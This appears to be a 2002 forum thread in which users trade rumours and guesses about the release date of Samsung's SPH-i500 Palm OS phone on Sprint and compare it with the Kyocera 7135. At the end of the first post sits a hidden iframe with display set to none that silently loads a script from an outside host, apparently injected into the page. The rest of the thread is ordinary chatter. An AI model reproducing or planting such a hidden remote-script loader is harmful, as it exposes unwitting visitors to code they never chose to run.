    Question When?!?!!

    I've seen Samsung's WOW site. It has both the I500 and the I330. But it makes no mention of when the phones will be available. Does anyone have any good information about this? In their efforts to avoid the "Available in September"/"Available this Fall"/"Available Soon" fiasco they had in launching the I300, they've simply chosen to not say anything about when these phones will be made available.

    I'd love to actually see one of these. (Or even the I500/I600.)<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    500 here on December 1

    Could the I-500 be in our eager hands in a matter of 25 days?111

    So says bargainpda

    Don't know how trustworthy these guys are...but if this thing will be out in 2002 that's great news.

    I can't hold out much longer with my Kyo 6035 on the blink, but I think I can hold on for 3 weeks.

    I just asked my Sprint guy when the I500 would be in my store. He said, "Most likely in December."

    This will be a very interesting race between the 7135 and i500 of who goest to market first. In the marketplace, I have a feeling the i500 will take the lions share of the foldable PDA market. It has all the features that a casual business person wants without the extra fat. It's also faster, 66mhz compared to 7135's 33mhz.

    I'm very drawn to the i500 as well, but the 7135 has the expansion slot I always wanted in my i300. It will be a tough call for me between the i500 and the 7135.

    My other issue is that even with PalmOS 4.1 neither will still not have java capability when web browsing. From my understanding, java will not show for palm devices until PalmOS V6 ??? I've not had the opportunity to play with many PocketPC devices, do they have java capability (I would assume so)?

    I think I'm gonna have to sit on my wallet through Xmas and see where the pricing of of everything goes afterwords.

    Nope. No expansion slot on the i500, and no MP3 player, but it is 40% smaller than the 7135. Probably in a year or two we'll see phones the size of the i500 with expansion slots, MP3 players, and cameras to boot.

    Question Release Date Thread

    Moderators:

    Can we use one thread for all release date information, instead of having 3 or 4 different ones like we do now? One thread would be so much easier to look through. Just my request so all I500 release info is easy to find!

    Thanks

    The local Sprint store didn't think the i500 would be out for awhile. In fact, they aren't expecting it before Christmas, but they may not know...

    Thumbs up

    Good idea.

    Moderators, you listening?

    Some actual news on the release would be good. I'm still looking for someone who's found an actual person at Sprint who's even heard of the I-500.

    Their store drones are all juiced up about the 330, which I'm told will be available this week at some point.

    But as I've mentioned in this space before, I'm having trouble seeing the point of putting out the I-330 at this point, unless it's going to be a long time before the I-500 and 600 will be available.

    My best guess is late Dec to early Jan.

    ...not extremely informative...

    My question to Samsung:
    I am currently trying to decide whether to purchase a Handspring Treo 300 for use on the Sprint PCS network. I have seen and heard a little about a new Palm OS phone that Samsung is coming out with for Sprint, the SPH-i500. With its dual band / tri-mode and small size, it seems more like what I am looking for than the Treo. I wonder if you could tell me the approximate timetable for public release of this phone? I am interested in purchasing the phone in time for Christmas (2002).


    Samsung's answer:
    We are only able to provide information regarding models that are currently on the market for sale, as any pre-release information would be subject to change and could therefore be inaccurate at the time of launch. Please feel free to check back with us periodically for updates.

    Your interest in our products is greatly appreciated!

    My comment:
    Updates!!?? No, I think I learned all I wanted to know from what you told me this time!
